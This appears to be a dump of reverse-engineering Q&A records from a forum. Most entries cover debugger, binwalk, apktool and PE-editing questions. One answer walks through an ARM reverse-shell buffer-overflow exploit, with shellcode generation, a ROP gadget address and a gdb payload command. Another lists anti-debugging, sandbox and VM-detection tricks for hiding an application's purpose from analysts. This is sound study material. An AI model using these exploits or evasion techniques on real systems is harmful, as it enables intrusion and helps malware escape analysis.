    First of all I think you may have to force an upgrade of the Windows to Windows 10 using an app called Upgrade Advisor. The Upgrade is like 1.4 GB so you will need to do that on WiFi.

    \n\n

    After upgrading you see new apps on your phone like \"File Explorer\" We will use it but later.

    \n\n

    First of all using a Windows PC we will create a shortcut from the computer and copy it to the phone to use it later.

    \n\n

    1 - In your Windows PC, create a shortcut to the C: drive anywhere:\n\"enter

    \n\n

    2 - Copy that shortcut to the phone's storage root:

    \n\n

    3 - In the phone, open \"File Explorer\" app, and from the hamburger menu, choose \"This Device\". You should see the shortcut there:

    \n\n

    \"enter

    \n\n

    4 - Click on the shortcut, and you're done.You will then be taken to the root of C: drive:

    \n\n

    Now if want to browse to Opera Mini folder try this tip got to applications folders are located at C:\\Data\\PROGRAMS

    \n" }, { "Id": "13928", "CreationDate": "2016-11-14T16:13:51.497", "Body": "

    I am looking for a complete list of the ways to inject a payload in a vulnerable program in a Unix (Linux) context depending on the inputs opened by the program.

    \n\n

    I know that there are several tricks and tips but an exhaustive list would definitely help here.

    \n", "Title": "Managing inputs for payload injection?", "Tags": "|linux|exploit|binary|", "Answer": "

    Maybe my investigation will be helpful for somebody.

    \n

    Brief:

    \n

    I've prepare the reverse shellcode in assembler for ARM architecture (Raspberry Pi 1 B emulated in Qemu). When I start to test it I encounter few strange behaviours, which I would like to share.

    \n

    Preparation:

    \n
      \n

    1. file:

      \n

      reverseShell.s

      \n
      2. \n
    \n
    \n
      \n

    1. language:

      \n

      assembler for ARM architecture (Raspberry Pi 1 B)

      \n
      2. \n
    \n
    \n
      \n

    1. compilation:

      \n

      as reverseShell.s -o reverseShell.o && ld -N reverseShell.o -o reverseShell

      \n
      2. \n
    \n
    \n
      \n

    1. execution:

      \n

      4.1. host system:

      \n
         nc -lvvp 4444\n   Listening on [0.0.0.0] (family 0, port 4444)\n
      \n

      4.2. target: (Raspberry Pi 1 B):

      \n
        `./ReverseShell`\n
      \n

      4.3. host system:

      \n
         Connection from arm 60036 received!\n   pwd\n   /home/user/ARM/03_Security\n
      \n
      2. \n
    \n
    \n

    OK, looks good for now

    \n

    Generating the payload (hex dump):

    \n
      \n
    1. translate the execution to binary
      2. \n
    \n
       objcopy -O binary ReverseShell ReverseShell.bin\n
    \n
      \n
    1. dump to hexadecimal format (convert to payload)
      2. \n
    \n
       hexdump -v -e '"\\\\""x" 1/1 "%02x" ""' ReverseShell.bin\n   \\x01\\x30\\x8f\\xe2\\x13\\xff\\x2f\\xe1\\x02\\x20\\x01\\x21\\x92\\x1a.....\n
    \n
      \n

    1. In this step, the appropriate number of filler was added at the beginning of the payload - like almost everybody - I used character 'A' which is 41hex. The number of the character depends on the buffer which will be overwritten - in my case it was 12 characters.

      \n
      2. \n

    2. Next step was to find the base address of the libc-2.27.so in the virtual memory map and the address of the useful gadget in the libc-2.27.so. For me the best tool for searching the gadgets is ropper. The start address (base) of the libc-2.27 (maybe in your case it will be different library version and different address) in my case was: 0xb6ede000. The gadget address was: 0x00003db9. After gluing: 0xb6ee1db9. This hexadecimal adres form must be paste after the filler and before the payload. So now, the beginning of the payload (together with filler and gadget address) was:

      \n
      3. \n
    \n
    \\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\xb9\\x1d\\xee\\xb6\\x01\\x30\\x8f\\xe2\\x13\\xff\\x2f\\xe1\\x02\\x20\\x01\\x21\\x92\\x1a\\xc8\\x27\\x51\\x37\\x01\\xdf\\x04\\x1c\\x0a\\xa1\\x4a\\x70\\x10\\x22\\x02\\x37\\x01\\xdf\\x3f\\x27\\x20\\x1c\\x49\\x1a\\x01\\xdf\\x20\\x1c\\x01\\......\n
    \n

    Passing the payload to the vulnerable program:

    \n
      \n
    1. The vulnerable program:
      2. \n
    \n
        #include <stdio.h>\n    #include <string.h>\n    \n    void func1(char *s)\n    {\n      char buffer[8];\n      strcpy(buffer, s);\n    }\n    \n    int main(int argc, char *argv[])\n    {\n      func1(argv[1]);\n      printf("Everything is fine.\\n");\n    }\n
    \n
      \n
    1. gdb (gef) session
      2. \n
    \n

    I run the gdb with argument as a payload like below:

    \n
    gdb --args ./program $(python2.7 -c- 'print("\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\xb9\\x1d\\xee\\xb6\\x01\\x30\\x8f\\xe2\\x13\\xff\\x2f\\xe1\\x02\\x20\\x01\\x21\\x92\\x1a\\xc8\\x27\\x51\\x37\\x01\\xdf\\x04\\x1c\\x0a\\xa1\\x4a\\x70\\x10\\x22\\x02\\x37\\x01\\xdf\\x3f\\x27\\x20\\x1c\\x49\\x1a\\x01\\xdf\\x20\\x1c\\...")')\n
    \n

    Put the breakpoint on the main and run. Still looks OK. I can put the breakpoint in the func1, just before returning from them:

    \n

    \"enter

    \n

    In this point, the stack should already be overwritten and after `pop', the program should branch to previously glued gadget address and start to execute the program from the previously "prepared" stack. Sooo let's have a look on the content of the stack:\n\"enter

    \n

    red digits:

    \n

    1 - ok, this is the filler 12 times 'A' character

    \n

    2 - the gadget address - still ok

    \n

    3 - the beginning of the payload

    \n

    4 - Ops, something went wrong, this part of payload should be:

    \n

    x13\\xff\\x2f\\xe1\\x02\\x20\\x01\\x21

    \n

    but corresponding part of the memory is:

    \n

    0xe12fff13 0x21010002

    \n

    Why in second word instead of 0x20 I have 0x00 ?

    \n

    Ok, I've try to do this with python 3, but NULL will be there even with Python3.\nThis is only the one question. Did you encounter similar situation. What even more interesting, when I change the strcpy() to memcpy() in the func1(), and copy whole payload - 96 bytes, I have still 0 in this place. Am I lost something? I have no NULL's on the payload. Of course the session will crashed with segmentation fault, but I don't expect nothing different. As you can see, the number of NULL's is bigger, further in the memory dump, but no idea why.

    \n" }, { "Id": "13933", "CreationDate": "2016-11-14T19:39:09.903", "Body": "

    Today I have a question which may be a little uncertain. How would you \"port\" the Linux OS to a new platform? \nFor example; The nintendo 3ds or the PS4, are consoles which have been recently \"hacked\", this means you can run your own unsigned code. So basically, hackers usually port Linux to demonstrate they have full control over the software (usually this is a \"Live\" version of linux since they still can't sign it so even though they can write it to the NAND the bootloader won't load it, since it only runs signed code.

    \n\n

    I guess, I may be wrong, they just get a very stripped, linux kernel source code, modify things like the video output (since PC output is completely different from those consoles obviously) and compile it with a cross-compiler for that platform (well the same one they use to compile their programs), and they create some kind of \"loader\" which will load the OS into memory. Actually I'm just making assumptions from what I've seen, so obviously I'm blind in lots of things.

    \n\n

    Your help is greatly appreciated

    \n\n

    Cheers,\nPedro.

    \n", "Title": "How is linux loaded into a closed platform that has been hacked?", "Tags": "|linux|", "Answer": "

    Your question could be split into two:

    \n\n
      \n
    1. How do people load a new OS on a closed platform that has been \"hacked\"?
      2. \n
    2. How is Linux ported to new systems? (your actual title)
      3. \n
    \n\n

    Answers below:

    \n\n
      \n

    1. In order to run custom OS on a closed device, you need to somehow execute a loader code on a highest possible privilege level. What is a loader? Loader is a small program that performs initial CPU and peripherals configuration, copies some from an external memory device into memory and passes control to it. In case of Linux on game consoles, loader must copy a Linux image to memory, set boot parameters (boot device, available memory ranges \u2014 varies with the platform) and run the kernel. Usually loaders operate in privileged mode. On most CPUs with memory protection it's only enabled by OS kernel after the loader has already run.

      2. \n

    2. The process of porting Linux can be different depending on whether or not the processor is already supported by the kernel. If the processor is not supported, you'll need to start from the basics \u2014 implement base functions such as memory setup, context save/restore, hardware timer support and so on.

      \n\n

      If the processor is supported and there is a Linux kernel for a similar device, the process is a bit easier since it's likely you'll only need to implement a specific platform support \u2014 the device you plan to run Linux on likely has a power management controller, various low-speed buses (I2C, SPI) connected to sensors and controllers. Modern Linux kernels use device trees to describe the configuration of the specific platform. Device trees provide a way to instantiate existing device drivers and connect them to a specific hardware configuration.

      3. \n
    \n" }, { "Id": "13939", "CreationDate": "2016-11-15T16:09:06.090", "Body": "

    I'm trying to figure out how to copy API function names to clipboard to analize the asm listing properly on my own editor.

    \n\n

    I can see OllyDBG gives you the ability to mouse over a call and seeing the function name in a little window, that's quite cool

    \n\n

    \"enter

    \n\n

    But... I don't see any way around to copy these function names to the clipboard so i could speed the process of play around with the final asm listing stored on disk faster.

    \n\n

    Before even considering this manual copy/pasting I've thought about using a promising plugin called asm2clipboard but that one doesn't seem to work with ollydbg v2.01.

    \n\n

    Usually API calls would appear in the form of comments when debugging normal exes, but these particular API functions were loaded by hash and are called via a pointer.

    \n\n

    In any case, if there isn't any workaroudn about this, how can i learn how to build ollydbg v2.01 plugins? I see this another thread with a hello world example but it seems it requires plugin.h and ollydbg.lib, where can i find them? They don't seem to live in the odbg201.zip file

    \n", "Title": "How to copy API calls names to clipboard on OllyDBG v2.01?", "Tags": "|ollydbg|tools|", "Answer": "

    The plugin is available in an old beta version iirc 201 h scroll down a little in the sites page you should see it on nov 19 2012 entry look here for my earlier post iirc i posted a full plugin src with compile instructions using vc++

    \n\n

    Avoid re-enabling patches between reruns in Ollydbg

    \n\n

    Command for Command line plugin does not work

    \n\n

    here is a source code for getting the information
    \nusage right click in disassemble window to find men Blabbtest
    \non execution you will get a msgbox with the name of the api

    \n\n

    compiled and linked with enterprise wdk compiler and linker\nusing

    \n\n

    cl /nologo /J /W4 /Ox /Zi /analyze /EHsc /LD *.cpp /link user32.lib ollydbg.lib

    \n\n
    #define _UNICODE\n#include <windows.h>\n#include <stdio.h>\n#include \"plugin.h\"\nvoid Disassemble(ulong addr,ulong threadid,wchar_t *jumpaddr) {\n  ulong length,declength; uchar cmd[MAXCMDSIZE],*decode; t_disasm da; t_reg *reg;\n  length=Readmemory(cmd,addr,MAXCMDSIZE,MM_SILENT|MM_PARTIAL);\n  decode=Finddecode(addr,&declength); reg=Threadregisters(threadid);\n  length=Disasm(cmd,length,addr,decode,&da,DA_TEXT|DA_OPCOMM|DA_MEMORY,reg,NULL);\n  Decodeknownbyaddr(da.jmpaddr,0,0,0,jumpaddr,1,1);\n}\nstatic int About(t_table *,wchar_t *,ulong ,int mode) {\n  int n; wchar_t s[TEXTLEN]; if (mode==MENU_VERIFY) { return MENU_NORMAL; }\n  else if (mode==MENU_EXECUTE) {\n    Resumeallthreads(); n=StrcopyW(s,TEXTLEN,\n        L\"BlabbTest plugin v 1\\nCopyright from genesis to eternity blabb\\n\\n\");\n    wchar_t jaddy[TEXTLEN] ={0};\n    Disassemble(Getcpudisasmselection(),Getcputhreadid(),jaddy);\n    n+=StrcopyW(s+n,TEXTLEN-n,jaddy); MessageBoxW(0,s,L\"BlabbTest\",0);\n    Suspendallthreads(); return MENU_NOREDRAW;\n  };  return MENU_ABSENT;\n};\nstatic t_menu mainmenu[] = {\n  { L\"|BlabbTest\", L\"About BlabbTest plugin\", K_NONE, About, NULL, 0 },\n  { NULL,NULL,K_NONE,NULL,NULL,0}    };\nextc t_menu * __cdecl ODBG2_Pluginmenu(wchar_t *type) {\n  if(wcscmp(type,PWM_DISASM)==0) { return mainmenu; }   return NULL;\n};\nBOOL WINAPI DllEntryPoint(HINSTANCE ,DWORD ,LPVOID ) { return 1; };\nextc int __cdecl ODBG2_Pluginquery(int ollydbgversion,ulong *,\nwchar_t pluginname[SHORTNAME],wchar_t pluginversion[SHORTNAME]) {\n  if (ollydbgversion<201) {  return 0; }\n  wcscpy_s(pluginname,SHORTNAME,L\"BlabbTest\");\n  wcscpy_s(pluginversion,SHORTNAME,L\"2.00.01\");\n  return PLUGIN_VERSION; };\n
    \n\n

    here is the result \n\"enter

    \n\n

    instead of Decodeknownbyaddr() use Findlabel() to find the Label of jmpaddr

    \n\n
    #define _UNICODE\n#include <windows.h>\n#include <stdio.h>\n#include \"plugin.h\"\nstatic int About(t_table *,wchar_t *,ulong ,int mode) {\n  int n; wchar_t s[TEXTLEN],labl[TEXTLEN];ulong length,addr;t_cmdinfo cmdinf={0};\n  if ( mode==MENU_VERIFY ) { return MENU_NORMAL; }\n  else if (mode==MENU_EXECUTE)   {\n    Resumeallthreads();     n=StrcopyW(s,TEXTLEN,\n    L\"BlabbTest plugin v 1\\nCopyright from genesis to eternity blabb\\n\\n\");\n    uchar cmd[MAXCMDSIZE]; addr = Getcpudisasmselection();\n    length=Readmemory(cmd,addr,MAXCMDSIZE,MM_SILENT|MM_PARTIAL);    \n    Cmdinfo(cmd,length,addr,&cmdinf,0xfff,NULL);    \n    Findlabel(cmdinf.jmpaddr,labl,0);\n    n+=StrcopyW(s+n,TEXTLEN,labl);\n    MessageBoxW(0,s,L\"BlabbTest\",0);\n    Suspendallthreads();     return MENU_NOREDRAW;\n  };  return MENU_ABSENT;\n};\nstatic t_menu mainmenu[] = {\n  { L\"|BlabbTest\", L\"About BlabbTest plugin\", K_NONE, About, NULL, 0 },\n  { NULL,NULL,K_NONE,NULL,NULL,0}\n};\nextc t_menu * __cdecl ODBG2_Pluginmenu(wchar_t *type) {\n  if(wcscmp(type,PWM_DISASM)==0) { return mainmenu; }\n  return NULL;\n};\nBOOL WINAPI DllEntryPoint(HINSTANCE ,DWORD ,LPVOID ) { return 1; };\nextc int __cdecl ODBG2_Pluginquery(int ollydbgversion,ulong *,\nwchar_t pluginname[SHORTNAME],wchar_t pluginversion[SHORTNAME]) {\n  if (ollydbgversion<201) {  return 0; }\n  wcscpy_s(pluginname,SHORTNAME,L\"BlabbTest\");\n  wcscpy_s(pluginversion,SHORTNAME,L\"2.00.01\");\n  return PLUGIN_VERSION; };\n
    \n\n

    well you should at-least customarily peruse the code and documentation

    \n\n

    add these two lines and pass the t_reg * to cmdinfo to decode register or indirect calls

    \n\n
      t_reg *reg;\n  reg=Threadregisters(Getcputhreadid());\nCmdinfo(cmd,length,addr,&cmdinf,0xfff,reg);    \n
    \n\n

    \"enter

    \n" }, { "Id": "13944", "CreationDate": "2016-11-16T11:18:20.543", "Body": "

    This should have been made easy using binwalk however I fail to understand what I did wrong with the following syntax:

    \n\n
    $ wget --content-disposition https://github.com/devttys0/binwalk/archive/v2.1.1.zip\n$ wget --content-disposition https://github.com/devttys0/binwalk/archive/v2.0.1.zip\n$ cat binwalk-2.0.1.zip binwalk-2.1.1.zip > full\n$ binwalk -r -C output -e full\n
    \n\n

    lead to the following:

    \n\n
    $ ls output/_full.extracted\nbinwalk-2.1.1/\n
    \n\n

    Clearly it is missing the binwalk-2.0.1 expanded directory. Where did binwalk-2.0.1 go ?

    \n\n

    I need to use the -r flag (Delete carved files after extraction), because it generates enormous zip and fill my disk (see Carved files are often equal in size to the original file)

    \n", "Title": "Automatically extract known file types (eg. zip) using binwalk", "Tags": "|binary-analysis|file-format|", "Answer": "

    The UnZip implementation is the cause of your problem. When binwalk extracts full, the first ZIP actually contains both ZIPs, but UnZip only extracts the last one (which is also stored independently in the second ZIP that binwalk extracted).

    \n\n

    binwalk expects p7zip, so install p7zip to fix this problem.

    \n\n
    $ wget https://github.com/devttys0/binwalk/archive/v2.0.1.zip\n$ wget https://github.com/devttys0/binwalk/archive/v2.1.1.zip\n$ mv v2.0.1.zip binwalk-2.0.1.zip\n$ mv v2.1.1.zip binwalk-2.1.1.zip\n$ cat binwalk-2.0.1.zip binwalk-2.1.1.zip > full\n$ ls -l\n2255007 binwalk-2.0.1.zip\n 288920 binwalk-2.1.1.zip\n2543927 full\n$ binwalk -r -C output -e full\n$ ls -l output/_full.extracted/\n2543927 0.zip      # both ZIPs\n 288920 22689F.zip # last ZIP\n$ mkdir final && unzip output/_full.extracted/'*.zip' -d final/\n$ ls -l final/\nbinwalk-2.1.1                                   # bad\n$ rm -r output/ final/                          # cleanup\n                                                # install p7zip                                                          \n$ binwalk -r -C output -e full\n$ ls -l output/_full.extracted/\nbinwalk-2.0.1\nbinwalk-2.1.1                                   # good\n
    \n" }, { "Id": "13953", "CreationDate": "2016-11-17T11:56:19.103", "Body": "

    Is there any command in OllyScript that can fetch me table shown in Memory Map window of OllyDbg. (Memory window comes up when you click on \"M\" icon.) It shows address, size, Owner, Section, Contains, Type, Access, Initial, and Mapped as. But I only need Address, Size, Owner, contains. So even if I can somehow get these details it would be fine.

    \n", "Title": "Getting Memory Map in OllyDbg using OllyScript", "Tags": "|ollydbg|ollyscript|", "Answer": "

    if you are comfortable with text parsing
    \nright_click-> copy to clipboard->wholetable
    \npaste to foo.txt and print the required columns with awk

    \n\n
    awk \"{print $1,$2,$3,$5}\" memor.txt | head -n 6\nMemory map\nAddress Size Owner Contains\n00010000 00010000 > Heap\n00030000 00004000 > Map\n00040000 00002000 > Map\n00050000 00001000 > Priv\n
    \n\n

    update

    \n\n

    use windbg !address command with -c \"cmdstr\" option as pasted below

    \n\n

    %1 to %7 are place holders respectively for
    \nbase,end,size .type , state,protection and usage
    \nthat !address command understand and replaces in the command string

    \n\n
    0:000> !address -c:\".printf \\\"%8x\\\\t%8x\\\\t%7\\\\t        %4\\\\n\\\" , %1 , %3\"\n       0       10000    Free            \n   10000       10000    Heap            MEM_MAPPED\n   20000       10000    Free            \n   30000        4000    Other           MEM_MAPPED\n   34000        c000    Free            \n   40000        2000    Other           MEM_MAPPED\n   42000        e000    Free            \n   50000        1000    Other           MEM_PRIVATE\n   51000       5f000    Free            \n   b0000       3c000    Stack           MEM_PRIVATE\n   ec000        1000    Stack           MEM_PRIVATE\n   ed000        3000    Stack           MEM_PRIVATE\n   f0000       67000    MappedFile          MEM_MAPPED\n  157000       19000    Free            \n  170000        6000    Heap            MEM_PRIVATE\n  176000       fa000    Heap            MEM_PRIVATE\n  270000      920000    Free            \n  b90000        1000    Image           MEM_IMAGE\n  b91000       53000    Image           MEM_IMAGE\n  be4000        5000    Image           MEM_IMAGE\n  be9000       67000    Image           MEM_IMAGE\n  c50000    6ccc0000    Free            \n6d910000        1000    Image           MEM_IMAGE\n
    \n" }, { "Id": "13957", "CreationDate": "2016-11-17T14:14:59.750", "Body": "

    When decompiling an apk with apktool, the classes.dex file is decompiled into folders smali_classes#, and sorted their respective packages. I recognize some of the files, as they are mentioned in AndroidManifest.xml, but some classes and packages are named with one or two letters (Like aa, az, b, etc.).

    \n\n

    I don't think that this is obfuscation, because if someone was to obfuscate the code, they would probably apply it to every class.

    \n\n

    Are these strangely named classes just some sort of reference made by the Android compiler, or could it indeed be obfuscated code? They don't seem to be references, as some of the single letter files are generally not too short.

    \n", "Title": "What do the unusually named packages and files usually mean?", "Tags": "|decompilation|android|obfuscation|", "Answer": "

    I'd still say these are obfuscated classes, probably not written by the author of the apk himself, but some 3rd-party library.

    \n\n

    The provider of the 3rd-party library wants to protect their own implementation, so they provide a few unobfuscated class/method names to the world, and obfuscate their internal code. When someone else builds an apk, they'll include that library in their .dex file, so even if the app programmer doesn't obfuscate their classes, the classes that come from the 3rd party library are still obfuscated.

    \n\n

    For example, this is the listing of the files that Oracle's oraclepki.jar contains (not that I assume your app uses an oracle database, but that's an example I had handy):

    \n\n
    $ unzip -l oraclepki.jar\nArchive:  oraclepki.jar\n  Length      Date    Time    Name\n---------  ---------- -----   ----\n      233  2012-12-06 00:33   META-INF/MANIFEST.MF\n     2272  2012-12-06 00:33   a.class\n     8479  2012-12-06 00:33   KeyStoreTest.class\n      242  2012-12-06 00:33   oracle/security/pki/BadPaddingException.class\n     6160  2012-12-06 00:33   oracle/security/pki/a.class\n     5575  2012-12-06 00:33   oracle/security/pki/b.class\n      717  2012-12-06 00:33   oracle/security/pki/c.class\n     5561  2012-12-06 00:33   oracle/security/pki/Cipher.class\n     1360  2012-12-06 00:33   oracle/security/pki/CipherSpi.class\n     9102  2012-12-06 00:33   oracle/security/pki/d.class\n      926  2012-12-06 00:33   oracle/security/pki/DESSecretKey.class\n     2395  2012-12-06 00:33   oracle/security/pki/e.class\n      827  2012-12-06 00:33   oracle/security/pki/DESedeSecretKey.class\n     2663  2012-12-06 00:33   oracle/security/pki/FileLocker.class\n      248  2012-12-06 00:33   oracle/security/pki/IllegalBlockSizeException.class\n      495  2012-12-06 00:33   oracle/security/pki/IvParameterSpec.class\n     1367  2012-12-06 00:33   oracle/security/pki/NZNative.class\n      245  2012-12-06 00:33   oracle/security/pki/NoSuchPaddingException.class\n     5529  2012-12-06 00:33   oracle/security/pki/OracleCRL.class\n     1094  2012-12-06 00:33   oracle/security/pki/OracleCertExtension.class\n     2385  2012-12-06 00:33   oracle/security/pki/f.class\n     9041  2012-12-06 00:33   oracle/security/pki/g.class\n      592  2012-12-06 00:33   oracle/security/pki/h.class\n     6513  2012-12-06 00:33   oracle/security/pki/i.class\n     1212  2012-12-06 00:33   oracle/security/pki/j.class\n      634  2012-12-06 00:33   oracle/security/pki/k.class\n
    \n\n

    Classes like Cipher, NZNative etc. are supposed to be callable from the outside, but Oracle doesn't want you to know what a.class, b.class etc. are doing.

    \n\n

    If someone built an app that somehow connects to an oracle database using the wallet feature, they'd have to include these classes into the app's classes.dex, so this is what you'd see in apktool as well.

    \n" }, { "Id": "13969", "CreationDate": "2016-11-17T23:16:50.573", "Body": "

    I want to set a breakpoint when the register EAX references a specific Unicode string, e.g. \"Enter\". In Ollydbg there is usually right beside the EAX value a string that says \"ASCII: Enter \".

    \n\n

    I read that I have to use Olly v1.10 for this purpose. When I go to \"Debug\" -> \"Set Condition\" I can write in the text field \"Condition is TRUE\" for instance this:

    \n\n
    EAX == 00000010\n
    \n\n

    I press F9 (Run) and the breakpoint will work. So once EAX becomes 0x10 olly will stop. However when I do this:

    \n\n
    UNICODE[EAX] == \"Enter\"\n
    \n\n

    it doesn't work. What am I doing wrong? Doesn't matter which program I use and which Olly version, I can't get this to work. I would like to match strings like \"Enter text\" as well, so any appearance of \"Enter\".

    \n\n

    In the end I'm basically looking for a way to stop olly once a specific string is loaded into RAM. How can I achieve this?

    \n\n

    Any help is appreciated. Thanks!

    \n", "Title": "OllyDbg: How to set conditional breakpoint on a register value?", "Tags": "|disassembly|ollydbg|strings|breakpoint|", "Answer": "

    there is a slight syntax change between 1.1 and 2.01 the square are compulsory even when not dereferencing

    \n\n

    so to have a condition where eax points to unicode string you need a condition like

    \n\n

    [UNICODE EAX] == \"what\"

    \n\n

    suppose you have code like this

    \n\n
    #include <stdio.h>\n#include <windows.h>\nwchar_t *strings[] = { L\"is this what\", L\"does it matter\", L\"what is this\",\n  L\"who are you\", L\"why am i doing this\", L\"lest scoot from here\"\n};\nPWCHAR foo (int a) {\n  return strings[a];\n}\nint main(void ) {\n  for(int i=5;i>=0;i--) {\n    printf(\"%S\\n\",foo(i));\n  }\n  return 0;\n}\n
    \n\n

    setting a break as shown in screenshot will break correctly in 2.01\n\"enter

    \n" }, { "Id": "13973", "CreationDate": "2016-11-18T09:16:55.370", "Body": "

    Suppose you want to conceal an application's true purpose from analysts by reacting to dynamic analysis tools. How is it possible to detect running (in debugger mode) the application under a reverse engineering tool (e.g., IDA Pro) by the application itself? What code do you propose to use while preparing the application?

    \n", "Title": "Dynamic Analysis Detection", "Tags": "|ida|ida-plugin|dynamic-analysis|", "Answer": "

    the easy answer:

    \n\n

    probably a Sleep(random()*60000 + 10000) is more than enough to thwat most dynamic analysis systems. Or if((int)(random()*10) == 8) and so on

    \n\n

    check for debuggers:

    \n\n

    The 'standard' way is to use IsDebuggerPresent. But analysis systems are aware of that and try to patch these calls. So there are similar approaches checking the field in the EPROCESS structure directly. I've also seen malware checking the result of OutputDebugString.

    \n\n

    check for analysis systems

    \n\n

    Some malware families employ checks for certain process names implying the system may be used for analysis, like the pcap driver or the names of debugger-processes. Also, the availability of certain libraries may prevent the program from exhibiting its real behavior.

    \n\n

    check for virtual environment

    \n\n

    There are already lots of papers about this. Most dynamic analysis of potentially malicious programs happens in virtual environments. There are different approaches you can take here:

    \n\n\n\n

    Also, there are some very advanced approaches, like checking the behavior of the TLB.

    \n" }, { "Id": "13992", "CreationDate": "2016-11-19T20:36:11.317", "Body": "

    I'm working with a program that I can't reasonably run from console; it is started by another program with complex calculated and network-gotten arguments, and that program is complicated as well.

    \n\n

    To view output on Windows I can AllocConsole, but it seems there is no such equivalent for Mac. According to Ivan Vu\u010dica, \"A console is \"allocated\" by default. You cannot order the OS to open a console though.\" (link).

    \n\n

    His answer gives some good information, but little useful in a reverse-engineering context as I don't have the project.

    \n\n

    So, if I really, really, really want to get a console instead of outputting to a file or creating some GUI, what might I do? If project options allows for enabling / disabling console, presumably there is some flag in the .app. Is it editable? Are there other options?

    \n", "Title": "MacOS: Output to console in non-console app", "Tags": "|osx|", "Answer": "

    It really depends what the application you are trying to run is logging to.

    \n\n

    If the application uses NSLog() and other associated Cocoa APIs, you're in luck. The output should appear in the Apple system log and can be viewed and caputired using Console.app.

    \n\n

    If the application is logging to stdout, things get a little more challenging. From how to get stdout into Console.app on Stack Overflow:

    \n\n
    \n

    Prior to Mountain Lion, all processes managed by launchd, including\n regular applications, had their stdout and stderr file descriptors\n forwarded to the system log. In Mountain Lion and above, stdout and\n stderr go nowhere for launchd managed applications. Only messages\n explicitly sent to the system log will end up there.

    \n
    \n\n

    I'm not sure it would be possible to see these log messages, unless you were to redirect stdout or somehow hook into whatever function that application was using to log and ASL (now deprecated) or os_log.

    \n\n

    If you're lucky, you can run the original OS X bundle application from the command line, and look for any useful logging from there.

    \n" }, { "Id": "13995", "CreationDate": "2016-11-20T00:51:26.477", "Body": "

    I want to be able to accurately add a section to a binary by hand, without tools.

    \n\n

    I am using Stud_Pe for adding a section to a binary. While this work, I feel it's important to be able to do this myself or at least understand it in it's entirety.

    \n\n

    Added Section/Stud here called .test with a size of 0x2000 \"enter

    \n\n

    Something I noticed is that the when I do a bindiff on the newly added section There is always extra bytes added to this. Why is this? \n\"enter

    \n\n

    I thought there might be a pattern but it seems random and the sizes have to be exact , so I am curious if someone already knows.

    \n\n

    Here is a difference list based on the bytes added. \nWhy is this happening?

    \n\n
    0x2000 2  bytes\n0x3000 14 bytes\n0x4000 10 bytes\n0x5000 4  bytes\n0x6000 18 bytes\n0x7000 2  bytes\n0x8000 16 bytes\n
    \n\n

    Thanks!

    \n", "Title": "Adding section to PE binary using Stud_Pe", "Tags": "|windows|pe|binary|section|", "Answer": "

    Check this post out it may be helpful http://ge0-it.blogspot.fr/2012/08/adding-section-to-your-pe-easy-way.html

    \n\n

    Code snippet from source above:

    \n\n
    VOID PortableExecutable::AddSection(PortableExecutable::SectionHeader& newSectionHeader) {\n    DWORD dwRawSectionOffset = (DWORD)GetFileSize();\n\n    /* Aligns dwRawSectionOffset to OptionalHeader.FileAlignment */\n    dwRawSectionOffset += this->m_imageNtHeaders.OptionalHeader.FileAlignment - (dwRawSectionOffset % this->m_imageNtHeaders.OptionalHeader.FileAlignment);\n\n    /* Does the whole header's length overflows OptionalHeader.SizeOfHeaders? */\n    if(\n        (sizeof(IMAGE_DOS_HEADER) + sizeof(IMAGE_NT_HEADERS) + (this->m_imageNtHeaders.FileHeader.NumberOfSections * sizeof(IMAGE_SECTION_HEADER)))\n        > this->m_imageNtHeaders.OptionalHeader.SizeOfHeaders\n        ) {\n\n            /* If it's the case, add free space */\n            AddFreeSpaceAfterHeaders( this->m_imageNtHeaders.OptionalHeader.FileAlignment );\n\n            /* Adding 'FileAlignment' value to SizeOfHeaders fields then */\n            this->m_imageNtHeaders.OptionalHeader.SizeOfHeaders += this->m_imageNtHeaders.OptionalHeader.FileAlignment;\n\n    }\n\n    newSectionHeader.SetPointerToRawData(dwRawSectionOffset);\n\n    /* Adding the new section header */\n    this->m_sectionHeaders.push_back(newSectionHeader);\n\n    /* Incrementing the 'NumberOfSections' field */\n    ++this->m_imageNtHeaders.FileHeader.NumberOfSections;\n\n    /* Adding to SizeOfImage the SectionAlignment value */\n    this->m_imageNtHeaders.OptionalHeader.SizeOfImage += this->m_imageNtHeaders.OptionalHeader.SectionAlignment;\n\n    /* Rewriting the whole headers */\n    m_stream.seekg(this->m_imageDosHeader.e_lfanew, std::ios::beg);\n    m_stream.write((const char*)&this->m_imageNtHeaders, sizeof(IMAGE_NT_HEADERS));\n\n    /* Rewriting the section headers then */\n    std::vector<PortableExecutable::SectionHeader>::iterator it =\n        this->m_sectionHeaders.begin();\n\n    while(it != this->m_sectionHeaders.end()) {\n        m_stream.write((const char*)&it->ImageSectionHeader(), sizeof(IMAGE_SECTION_HEADER));\n        ++it;\n    }\n\n    /* Finally adding 'FileAlignment' bytes to the end of the file,\n    which actually corresponds to the section's memory space! */\n    m_stream.seekg(this->m_sectionHeaders.at( this->m_sectionHeaders.size()-1).GetPointerToRawData(), std::ios::beg);\n\n    char* bytes = new char[this->m_imageNtHeaders.OptionalHeader.FileAlignment];\n    ::memset(bytes, '\\0', this->m_imageNtHeaders.OptionalHeader.FileAlignment);\n    m_stream.write(bytes, this->m_imageNtHeaders.OptionalHeader.FileAlignment);\n    delete[] bytes;\n}\n
    \n" }, { "Id": "14001", "CreationDate": "2016-11-20T18:20:17.013", "Body": "

    I'm trying to disassemble main of programs function in Visual Mode and i want to see Disassembly Graph, but radare2 show me this message:
    \nNot in a function. Type 'df' to define it here\n
    googling result for this message was radare2 source on GitHub.

    \n\n

    My steps:
    \n1 - r2 program
    \n2 - s main or s sym.main
    \n3 - VV

    \n\n

    p.s.: I'm a n00b in r2.

    \n", "Title": "Not in a function. Type 'df' to define it here", "Tags": "|radare2|", "Answer": "

    Run r2 with -A flag or run aaa in r2 to analyze all referenced code.
    \nin r2 -h: -A run 'aaa' command to analyze all referenced code.

    \n\n

    my r2 version: 0.10.6

    \n" }, { "Id": "14007", "CreationDate": "2016-11-21T08:53:43.740", "Body": "

    I have some understanding of Assembly after reading some tutorials and a few chapters from the \"PC Assembly Book\". Right now, I am trying to understand the instructions I see in OllyDbg, but it seems to follow a different syntax than the NASM syntax I am used to.

    \n\n

    This OllyDbg instruction for example doesn't seem intuitive to me, especially the PTR SS: part.

    \n\n
    MOV DWORD PTR SS:[ESP+8],EBX\n
    \n\n

